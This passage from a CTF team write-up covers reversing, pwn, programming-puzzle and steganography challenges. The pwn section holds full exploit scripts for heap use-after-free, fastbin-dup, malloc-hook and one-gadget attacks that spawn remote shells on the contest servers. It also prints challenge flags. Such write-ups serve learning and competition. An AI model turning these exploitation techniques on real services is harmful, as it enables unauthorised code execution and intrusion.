bytes. I knew this because I read this [pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf) in order to solve this challenge. Now we know it is try to compare the first byte of input to `A` The rest of this chanllenge is diggin out the other code which try to compare the second and the third byte. ```....text:08049BED mov edx, 0.text:08049BF2 mov dl, byte ptr dword_804D050.text:08049BF8 mov edx, dword_81F5B70[edx*4].text:08049BFF mov dword_804D05C, edx.text:08049C05 mov dword_804D058, 'h'.text:08049C0F mov eax, dword_804D05C.text:08049C14 mov edx, dword_804D058.text:08049C1A mov ecx, 8804B21Ch....text:08049F17 mov edx, 0.text:08049F1C mov dl, byte ptr dword_804D050.text:08049F22 mov edx, dword_81F5B70[edx*4].text:08049F29 mov dword_804D05C, edx.text:08049F2F mov dword_804D058, '_'.text:08049F39 mov eax, dword_804D05C.text:08049F3E mov edx, dword_804D058.text:08049F44 mov ecx, 8804B21Ch...``` Finally, we got `input[:14]` which is `Ah_m0vfu3c4t0r`. So the flag will be `ASIS{574a1ebc69c34903a4631820f292d11fcd41b906}`### Echo (sces60107) You will be given a binary in this challenge. Just try to execute it.```$ ./Echo Missing argument$ ./Echo blablaError opening blabla!``` Well, you only get some error message. After using some decompile tool I found this. ``` if ( v9 <= 1 ) { fwrite("Missing argument\n", 1uLL, 0x11uLL, stderr); exit(1); } if ( !strncmp(*(const char **)(a2 + 8), "GIVEMEFLAG", 0xAuLL) ) { v46 = (signed int)sub_970(v49); }``` It seems like you should put `GIVEMEFLAG` in the first argument. ```./Echo GIVEMEFLAGaawtfwtfthisisuselessthisisuseless``` Well it just echo what you input. But `sub_970` seems interesting. I used gdb to catch return value. Then I found this function return a string array `>>[<+<+>>-]<<[->>+<<]>[>>>>>+<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>+<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>+<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>+<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>+<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>+<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>+<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>+<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>+<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>+<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>>>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]><<<<<<<<<<<<<<<<<<<<<<<<<<,[.,]` Obviously, it is `brainfuck`. the last part of this brainfuck string is `[.,]` which will read your input and output to your screen. before that there a bunch of `[+]>` . It will clean the buffer. The goal is clear now. we need to what does it put on the buffer before it remove them. We can rewrite the brainfuck string to fulfill our requirements The new brainfuck string will be `>>[<+<+>>-]<<[->>+<<]>[>>>>>+<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>+<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>+<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>+<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>+<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>+<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>+<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>+<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>+<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>+<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[.>]` Now the binary will output the flag `flag{_bR41n---,[>.<],+_fxxK__}` According to the note `Note: flag{whatyoufound}, submit ASIS{sha1(whatyoufound)}` The true flag is `ASIS{7928cc0d0f66530a42d5d3a06f94bdc24f0492ff}`### Left or Right? (sces60107) Just try to execute the given binary. ```$ ./right_or_left What's The Secret Key?I dont knowinvalid key:( try again``` So it seems like we need a secret key? Then I levearaged a decompiler to reverse this binary. Unfortunately, I found that it's a `rust` binary. I am not familar with `rust`. It's difficult to me to fully reverse it. Then I found some interesting strings like `therustlanguageisfun` and `superkeymysecretkeygivemetheflagasisctfisfun` I try to input those strings ```$ ./right_or_left What's The Secret Key?therustlanguageisfunASIS{that_is_not_the_real_flag}$ ./right_or_left What's The Secret Key?superkey ASIS{be_noughty_step_closer_to_see_the_flag}$ ./right_or_left What's The Secret Key?mysecretkeyASIS{imagine_a_flag_in_a_watermelon_how_can_you_capture_it}``` It seems like they are all fake flag. Now there is two ways to deal with this chellange. The way I take is finding how this binary output those fake flag. Using `gdb` and `IDA pro`, I found that those function which will generate fake flag is located at these position. ![](https://i.imgur.com/Riza8hO.png) Well, `sub_9320` seems to be a good target to analysis. Just use `gdb` and change your $rip. Then, the real flag will output to your screen Now you have the flag `ASIS{Rust_!s_Right_i5_rust_!5_rust_but_rust_!s_no7_left}` There is another way to capture the flag. In this way, you should find out the real secret key. Practically, you need to locate the key-checking function. Track those fake key. you will find out the key-checking function. It is located at `sub_83c0` Then you can trace this function and easily get the real secret key which is `sscsfuntnguageisfunsu`### Density (sces60107) In this challenge you will get a binary and a encrypted flag. This chllenge is not difficult at all. The binary name is "b64pack". You can just try base64```$ base64 short_adff30bd9894908ee5730266025ffd3787042046dd30b61a78e6cc9cadd72191 O++h+b+qcASIS++e01d+c4Nd+cGoLD+cASIS+c1De4+c4H4t+cg0e5+cf0r+cls+d++gdI++j+kM+vb++fD9W+q/Cg==``` There is string while looks like flag`ASIS++e01d+c4Nd+cGoLD+cASIS+c1De4+c4H4t+cg0e5+cf0r+cls+d++gdI++j+kM+vb++fD9W+q/Cg==` We still need to reverse the binary. You can divide this binary into three part. The first part:`input=randomstr+input+flag` The second part:```pythonnewinput=""for i in input: if i in "@$_!\"#%&'()*+,-./:;<=>?\n": newinput+="+"+chr(ord('a')+"@$_!\"#%&'()*+,-./:;<=>?\n".index(i)) elif i in "[\\]^{|}~`\t": newinput+="++"+chr(ord('a')+"@$_!\"#%&'()*+,-./:;<=>?\n".index(i)) else: newinput+=i```The third part:```output=newinput.decode("base64")``` Now you know how to reconstruct the flag.The flag is `ASIS{01d_4Nd_GoLD_ASIS_1De4_4H4t_g0e5_f0r_ls!}`## pwn ### Cat (kevin47) * I am a idiot that can't think, so I used the most hardcore way :)* Use name and kind to leak heap, libc, stack, canary* fastbin dup attack to stack twice in order to overwrite return address ```python#!/usr/bin/env python2 from pwn import *from IPython import embedimport re context.arch = 'amd64' r = remote('178.62.40.102', 6000) def create(name, kind, age, nonl=0, stack=''): if name == '': r.recvrepeat(1) if stack: r.send(stack) else: r.send('0001') if name == '': r.sendlineafter('>', '') r.sendlineafter('>', '') else: r.send(name.ljust(0x16, '\x00')) r.send(kind.ljust(0x16, '\x00')) r.send(str(age).rjust(4, '0')) def edit(idx, name, kind, age, modify, sp=1): r.send('0002') r.send(str(idx).rjust(4, '0')) if sp: r.recvrepeat(1) r.sendline(name) r.sendlineafter('>', kind) else: r.send(name.ljust(0x16, '\x00')) r.send(kind.ljust(0x16, '\x00')) r.send(str(age).rjust(4, '0')) r.send(modify.ljust(4, '\x00')) def print_one(idx): r.recvrepeat(2) r.send('0003') r.sendlineafter('>', str(idx)) return r.recvuntil('---', drop=True) def delete(idx): r.send('0005') r.send(str(idx).rjust(4, '0')) create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)#create('a'*0x10, 'a'*0x10, 1)create(flat(0, 0x21), flat(0, 0x21), 1)create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)delete(4)delete(5)# set ptredit(0, 'b', 'b', 2, 'n')create('', '', 1)edit(0, 'b', 'b', 2, 'n', sp=1)x = print_one(4)xx = re.findall('kind: (.*)\nold', x)[0]heap = u64(xx.ljust(8, '\x00')) - 0x180print 'heap:', hex(heap)create('a', flat(heap+0x10, heap+0x70), 1)edit(0, 'b', 'b', 2, 'n') create(flat(0x602010), 'a', 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]#libc = u64(xx.ljust(8, '\x00')) - 0x3a6870libc = u64(xx.ljust(8, '\x00')) - 0x3e1870print 'libc:', hex(libc) delete(6)#environ = libc + 0x38bf98environ = libc + 0x3c6f38create(flat(heap+0x10, heap+0x30), flat(environ, heap+0x30), 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]stack = u64(xx.ljust(8, '\x00'))print 'stack', hex(stack) delete(6)canary_addr = stack - 0x100 + 1create(flat(canary_addr, heap+0x30), flat(heap+0x10, heap+0x30), 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]canary = u64('\x00'+xx[:7])print 'canary:', hex(canary) # switch orderdelete(6)create(flat(heap+0x10, heap+0x30), flat(heap+0x10, heap+0x30), 1) edit(0, 'b', 'b', 2, 'n')delete(1) fake_pos = stack-0x11fprint 'fake_pos:', hex(fake_pos)create(flat(fake_pos), 'a', 1)# fake chunk on stackcreate(flat(heap+0x1b0, heap+0x210), '\x00'*7+flat(0x2100), 1, stack='1\x21\x00\x00') # puts address on heapdelete(3)create(flat(fake_pos+0x10), flat(fake_pos+0x10), 1) # reset fastbindelete(4)delete(0) create(flat(heap+0x160), 'b', 1,)#raw_input("@")magic = libc + 0xf1147print 'magic:', hex(magic)r.recvrepeat(1)r.sendline('1')r.sendlineafter('>', 'AAAA')r.sendafter('>', flat(canary>>8)[:-1]+flat(0, magic))r.sendlineafter('>', '6')sleep(1)r.sendline('ls /home/pwn; cat /home/pwn/flag') #embed()r.interactive() # ASIS{5aa9607cca34dba443c2b757a053665179f3f85c}``` ### Just_sort (kevin47) * Simple overflow and UAF problem ```python#!/usr/bin/env python2 from pwn import *from IPython import embedfrom ctypes import *import re context.arch = 'amd64' r = remote('159.65.125.233', 6005) def insert(n, s): r.sendlineafter('>', '1') r.sendlineafter('>', str(n)) r.sendafter('>', s) def edit(h, p, s): r.sendlineafter('>', '2') r.sendlineafter('>', str(h)) r.sendlineafter('>', str(p)) r.sendafter('>', s) def printt(): r.sendlineafter('>', '3') return r.recvuntil('---', drop=True) def search(n, s): r.sendlineafter('>', '4') r.sendlineafter('>', str(n)) r.sendafter('>', s) def delete(h, p): r.sendlineafter('>', '5') r.sendlineafter('>', str(h)) r.sendlineafter('>', str(p)) insert(10, 'a')insert(10, 'b')delete(1, 0)search(10, flat( [0]*3, 0x21, [0]*3, 0x21, 0, 0x602018,))x = printt()xx = re.findall('0: "(.*)"', x)[0]libc = u64(xx.ljust(8, '\x00')) - 0x844f0print 'libc:', hex(libc)system = libc+0x45390edit(1, 0, flat(system))insert(40, '/bin/sh\x00')delete(4, 0) r.interactive()# ASIS{67d526ef0e01f2f9bdd7bff3829ba6694767f3d1}``` ### message_me (kevin47) * UAF* hijack __malloc_hook with fastbin dup attack ```python#!/usr/bin/env python2 from pwn import *from IPython import embedfrom ctypes import *import re context.arch = 'amd64' #r = remote('127.0.0.1', 7124)r = remote('159.65.125.233', 6003) def add(sz, content): r.sendlineafter('choice : ', '0') r.sendlineafter('size : ', str(sz)) r.sendlineafter('meesage : ', content) def remove(idx): r.sendlineafter('choice : ', '1') r.sendlineafter('message : ', str(idx)) def show(idx): r.sendlineafter('choice : ', '2') r.sendlineafter('message : ', str(idx)) return r.recvuntil('----', drop=True) def change(idx): r.sendlineafter('choice : ', '3') r.sendlineafter('message : ', str(idx)) add(0x100-0x10, 'a') # 0add(100-0x10, 'a') # 1add(0x100-0x10, 'a') # 2add(100-0x10, 'a') # 3add(0x100-0x10, 'a') # 4add(100-0x10, 'a') # 5remove(0)remove(2)remove(4)x = show(2)xx = re.findall('Message : (.*)\n Message', x, re.DOTALL)[0]heap = u64(xx.ljust(8, '\x00')) - 0x2e0x = show(4)xx = re.findall('Message : (.*)\n Message', x, re.DOTALL)[0]libc = u64(xx.ljust(8, '\x00')) - 0x3c4c68print 'heap:', hex(heap)print 'libc:', hex(libc) # fastbin dupclib = CDLL("libc.so.6")clib.srand(1)__malloc_hook = libc + 0x3c4aed#__malloc_hook = 0x602005magic = libc + 0xf02a4print 'magic:', hex(magic)add(0x70-0x10, flat( # 6 0x71,))add(0x70-0x10, flat(0x71, __malloc_hook)) # 7remove(6)remove(7)remove(6)# 6's fd += 0x10change(6)change(6)change(6)add(0x70-0x10, flat(0xdeadbeef))add(0x70-0x10, flat(0xdeadbeef))add(0x70-0x10, '\x00'*3+flat(0, magic)) # trigger malloc_printerrremove(0)remove(0)#r.sendlineafter('choice : ', '0')#r.sendlineafter('size : ', '100') r.interactive()# ASIS{321ba5b38c9e4db97c5cc995f1451059b4e28f6a}``` ### Tinypwn (kevin47) * Use the syscall execveat ```python2#!/usr/bin/env python2 from pwn import *from IPython import embedfrom ctypes import *import re context.arch = 'amd64' #r = remote('127.0.0.1', 7124)r = remote('159.65.125.233', 6009) r.send('/bin/sh\x00'.ljust(296)+flat(0x4000ed)+'\x00'*18) r.interactive() # ASIS{9cea1dd8873d688649e7cf738dade84a33a508fb}``` ## PPC ### Neighbour (lwc)$O(log N)$```python=#!/usr/bin/env python# -*- coding: utf-8 -*- from sage.all import *from pwn import * def puzzle(s): import string for i in string.printable: for j in string.printable: for k in string.printable: for l in string.printable: if hashlib.sha256(i+j+k+l).hexdigest()[-6:] == s: return i+j+k+l r = remote('37.139.22.174', 11740) r.recvuntil('sha256(X)[-6:] = ')s = r.recv(6)r.sendline(puzzle(s)) stage = 1while True: r.recvuntil('n = ') n = Integer(r.recvline()) print 'stage %d n = ' % stage + str(n) stage += 1 ans = n - max(map(lambda i: power(Integer(floor(n.n(digits=len(str(n))).nth_root(i))), i), range(2, int(ln(n)/ln(2))+1))) print ans r.sendline(str(ans)) r.recvuntil('To win the flag, submit r :)\n') tmp = r.recvline() print tmp if 'Great!' not in tmp: break if 'next' not in tmp: break r.interactive()``` ### The most Boring (how2hack)I used more time to understand the challenge description than solving this challenge ==Basically it wants us to give 3 different string that all consecutive k characters will not repeat. As I am familiar with pwn, I quickly think of pwntools cyclic() function. Pwntools is the best tool! ```python#!/usr/bin/env python import itertools as itimport stringfrom hashlib import sha256import multiprocessing as mp from pwn import * host = '37.139.22.174'port = 56653 def check(p): if sha256(p).hexdigest()[-6:] == target: return p return None def my_remote(ip, port, show=False): global target r = remote(ip, port) menu = r.recvuntil('Submit a printable string X, such that sha256(X)[-6:] = ', drop=True) if show: print(menu) target = r.recvline().strip() possible = string.ascii_letters+string.digits possible = it.imap(''.join, it.product(possible, repeat=4)) pool = mp.Pool(32) log.info('PoW XXXX = %s' % (target)) for c in pool.imap_unordered(check, possible, chunksize=100000): if c: log.info('Solved - %s' % c) r.sendline(c) break pool.close() return r if __name__ == '__main__': import sys r = my_remote(host, port, show=True) while True: r.recvuntil('k = ') k = int(r.recvline().strip()) log.info('k = ' + str(k)) r.recvuntil('send the first sequence: \n') r.sendline(cyclic(alphabet='012', n=k)) r.recvuntil('send the second sequence: \n') r.sendline(cyclic(alphabet='120', n=k)) r.recvuntil('send the third sequence: \n') r.sendline(cyclic(alphabet='201', n=k)) if k == 9: break r.interactive()```Flag: `ASIS{67f99742bdf354228572fca52012287c}` ### Shapiro (shw)Shapiro points are lattice points that the gcd of its coordinates is 1. In this challenge, we have to construct a `k x k` grid such that none of its point is a Shapiro point. Take `k = 3` for example, we have to decide `x, y` such that all of the following points are not Shapiro.```(x+0, y+2), (x+1, y+2), (x+2, y+2)(x+0, y+1), (x+1, y+1), (x+2, y+1)(x+0, y+0), (x+1, y+0), (x+2, y+0)```The basic idea is to assign every point a prime as a common divisor of its coordinates. We let the assigned primes be different for all points, e.g.,```x+0 = y+0 = 0 mod 2x+0 = y+1 = 0 mod 3x+0 = y+2 = 0 mod 5x+1 = y+0 = 0 mod 7... and so on```According to CRT, the congruence equation exists solutions for `x, y mod P`, where `P` is the product of all primes we had used. Note that there would be restrictions such as `the largest y coordinate smaller than k`, or `the smallest x coordinate larger than k`. However, it's lucky for us that the two restrictions `larger` and `smaller` do not occur at the same time. Thus, we can add (or minus) `x, y` with `P` to sufficiently large (or small) to satisfy the condition.Code snippet:```pythonfrom gmpy import * def find(k): p = next_prime(1) mod, rx, ry = [], [], [] for i in range(k): for j in range(k): mod.append(p) rx.append((p-i)%p) ry.append((p-j)%p) p = next_prime(p) return mod, rx, ry while True: r.recvuntil('k = ') k = int(r.recvline()[:-1]) m, rx, ry = find(k) X = chinese_remainder(m, rx) Y = chinese_remainder(m, ry) cond = r.recvline()[:-1] prod = reduce(lambda x, y: x*y, m) if 'larger' in cond: lb = int(cond.split()[-1]) q = lb/prod X += prod*(q+1) Y += prod*(q+1) elif 'smaller' in cond: q = X/prod X -= prod*(q+1) Y -= prod*(q+1) r.sendline(get_format(X, Y, k)) data = r.recvline()[:-1] if 'please pass' not in data: break``` FLAG: `ASIS{9273b8834e4972980677627fe23d96ee}` ## misc ### Plastic (sces60107) There is a png file. Just try `zsteg````$ zsteg plasticmeta XML:com.adobe.xmp.. text: "<x:xmpmeta xmlns:x=\"adobe:ns:meta/\" x:xmptk=\"XMP Core 5.4.0\">\n <rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\">\n <rdf:Description rdf:about=\"\"\n xmlns:exif=\"http://ns.adobe.com/exif/1.0/\"\n xmlns:tiff=\"http://ns.adobe.com/tiff/1.0/\">\n <exif:UserComment>\n <rdf:Alt>\n <rdf:li xml:lang=\"x-default\">AAAFWHjabVRfbBRFGJ/ZOeifa+m2hVJaoNf2iohQtndX9ipS29IeVuwVe/1zbfc45/bm7pbu7V5255DjaDISozExaggxSIxC+2KRqBhjCPFBQwgmPggtSnySFx98IP57ML4590dEw2w2+33fzHzz+37fbyeW0TWbStIdKCDHuvUvngi7jxPL1kwj7DZjx4hK7Vk3ttSUxsOTbmpmGgB85cLHYntFZXtHp7trx2M7H9/1RI+/78DgoWeC4zNhJarGU7pp0ym3kdX1tapqZ02TayYY6l4gOXuOf8t5p92qjm17pXZDnVjf0LhxExMYYg62jq1nFaySVbHqlc3NW1pat27b3sacrIZtYHWsnrWwVraNbWeucAzbRNcMMqWaumlNps04maIa1Uk4YxGcjukkksZJQ0toKqa8pMk4piQq1sWwupC0zKwRP1jYOGebWUslk+QE7QTlsbZ7j7N7rzQVDE0cGlKCoeLCUAarZFzcJXX3+fd5fL19/j6/S+qWJLnHI/XxIXsLrkf2eX0Sj/YCEbLaVY/X1ztXKtbAaRIumcSeKadd2if/Y4aDofEiO6Jj1fnk/qdmOV02tTQjycQjPFH/0xx+MDSWpZhXFyrOLPcPyHxfyVkbch4cHgk88Dn0QcqtWJYSmzWwLawxKq4qcVPNpolBi0jme6QMjeSxRTVVJ4vVStYmvNIFnCTz3CxgtiP5IseLri4eibsSpsVfg7qK0Yd35HHatnPpGF+ZxjRl/3+uEHzU3HyWJvyRvGZkOFJDLR2UyOouarpoLkNccc3ivOg5bmDV0jhWl5rCFlYp12t1QWajh8cuPss2XnyObWLN08FQgAO8c+T5CWdocmqa+yHtJOHEJAI6TtrcD/LCOgd2lhouiqyJbZ4eMw2smpzp2blyhqV5uWzxaOQoJ3RYUwtqwlZuKSLz4As4KjY8xHO8RP1STH5kvHNgqHTkKnEmkoUfg2ocyOCXfrLwp/oT28pTasf4mcNcrUsLctkqKDK9Vwr0uPgDWG2h05mRAGsr9fRAXoklXIOh0dCiku+V0l4l6stkbCWa7R1RomNeGXPx+5RofNyQlehonyFNECVKU96x9nZlkR+ZPR4VGx9I698al7MRuSi6wyRH4oPlq+B27uSkZZqUQVAJ6kEL6AR7gAfIYB5gkAIZkAenwevgDfAWOAPOgrfBOXAevAveAx+AS+Ay+Ah8Aj4Fn4HPwVVwDXwBboBvwC3wPfgR3Ae/Qwesg82wDXZBD4xCDFWYgjY8BV+Gr8I34Tl4Hr4PV+CH8DK8Aq/Dm/AWvAvvwfvwF/gb/EP4WvhWuC2sCd8Jd4UfhHvCz8Kvwl8IoCrkRLWoDjWhVtSButBu1IP60SAKoHl0FNnoFHoJvYbOoLPoHXQBLaNL6Aq6iq6hr9B1dAPddFQ4ahwdjh0Ov2O/Y6DUQQGWr4s8+M9wDP0NfUGwlA==</rdf:li>\n </rdf:Alt>\n </exif:UserComment>\n <tiff:Orientation>1</tiff:Orientation>\n </rdf:Description>\n </rdf:RDF>\n</x:xmpmeta>\n"``` You can notice that there is a base64-encoded string`AAAFWHjabVRfbBRFGJ/ZOeifa+m2hVJaoNf2iohQtndX9ipS29IeVuwVe/1zbfc45/bm7pbu7V5255DjaDISozExaggxSIxC+2KRqBhjCPFBQwgmPggtSnySFx98IP57ML4590dEw2w2+33fzHzz+37fbyeW0TWbStIdKCDHuvUvngi7jxPL1kwj7DZjx4hK7Vk3ttSUxsOTbmpmGgB85cLHYntFZXtHp7trx2M7H9/1RI+/78DgoWeC4zNhJarGU7pp0ym3kdX1tapqZ02TayYY6l4gOXuOf8t5p92qjm17pXZDnVjf0LhxExMYYg62jq1nFaySVbHqlc3NW1pat27b3sacrIZtYHWsnrWwVraNbWeucAzbRNcMMqWaumlNps04maIa1Uk4YxGcjukkksZJQ0toKqa8pMk4piQq1sWwupC0zKwRP1jYOGebWUslk+QE7QTlsbZ7j7N7rzQVDE0cGlKCoeLCUAarZFzcJXX3+fd5fL19/j6/S+qWJLnHI/XxIXsLrkf2eX0Sj/YCEbLaVY/X1ztXKtbAaRIumcSeKadd2if/Y4aDofEiO6Jj1fnk/qdmOV02tTQjycQjPFH/0xx+MDSWpZhXFyrOLPcPyHxfyVkbch4cHgk88Dn0QcqtWJYSmzWwLawxKq4qcVPNpolBi0jme6QMjeSxRTVVJ4vVStYmvNIFnCTz3CxgtiP5IseLri4eibsSpsVfg7qK0Yd35HHatnPpGF+ZxjRl/3+uEHzU3HyWJvyRvGZkOFJDLR2UyOouarpoLkNccc3ivOg5bmDV0jhWl5rCFlYp12t1QWajh8cuPss2XnyObWLN08FQgAO8c+T5CWdocmqa+yHtJOHEJAI6TtrcD/LCOgd2lhouiqyJbZ4eMw2smpzp2blyhqV5uWzxaOQoJ3RYUwtqwlZuKSLz4As4KjY8xHO8RP1STH5kvHNgqHTkKnEmkoUfg2ocyOCXfrLwp/oT28pTasf4mcNcrUsLctkqKDK9Vwr0uPgDWG2h05mRAGsr9fRAXoklXIOh0dCiku+V0l4l6stkbCWa7R1RomNeGXPx+5RofNyQlehonyFNECVKU96x9nZlkR+ZPR4VGx9I698al7MRuSi6wyRH4oPlq+B27uSkZZqUQVAJ6kEL6AR7gAfIYB5gkAIZkAenwevgDfAWOAPOgrfBOXAevAveAx+AS+Ay+Ah8Aj4Fn4HPwVVwDXwBboBvwC3wPfgR3Ae/Qwesg82wDXZBD4xCDFWYgjY8BV+Gr8I34Tl4Hr4PV+CH8DK8Aq/Dm/AWvAvvwfvwF/gb/EP4WvhWuC2sCd8Jd4UfhHvCz8Kvwl8IoCrkRLWoDjWhVtSButBu1IP60SAKoHl0FNnoFHoJvYbOoLPoHXQBLaNL6Aq6iq6hr9B1dAPddFQ4ahwdjh0Ov2O/Y6DUQQGWr4s8+M9wDP0NfUGwlA==` But you cannot just use base64 decoder. There is something you need to do first. You remove every `` in the string. Then, you can use base64 decode. After base64decoding, you still don't know what it is.Just use `binwalk`, then you can find out that there is a zlib compressed data The final step is decompress the data. The flag is right here```$ strings decompressed_data bplist00wxX$versionX$objectsY$archiverT$top!"#$%&'()*+189=AGHNOWX\_cdhlostU$null WNS.keysZNS.objectsV$class XbaselineUcolorTmodeUtitleXpreamble]magnificationTdate_backgroundColorZsourceText#./0UNSRGB\NSColorSpaceO*0.9862459898 0.007120999973 0.027434000752345Z$classnameX$classesWNSColor67WNSColorXNSObject:;<YNS.string23>?_NSMutableString>@7XNSStringCDEFXNSString\NSAttributes\documentclass[10pt]{article}\usepackage[usenames]{color} %used for font color\usepackage{amssymb} %maths\usepackage{amsmath} 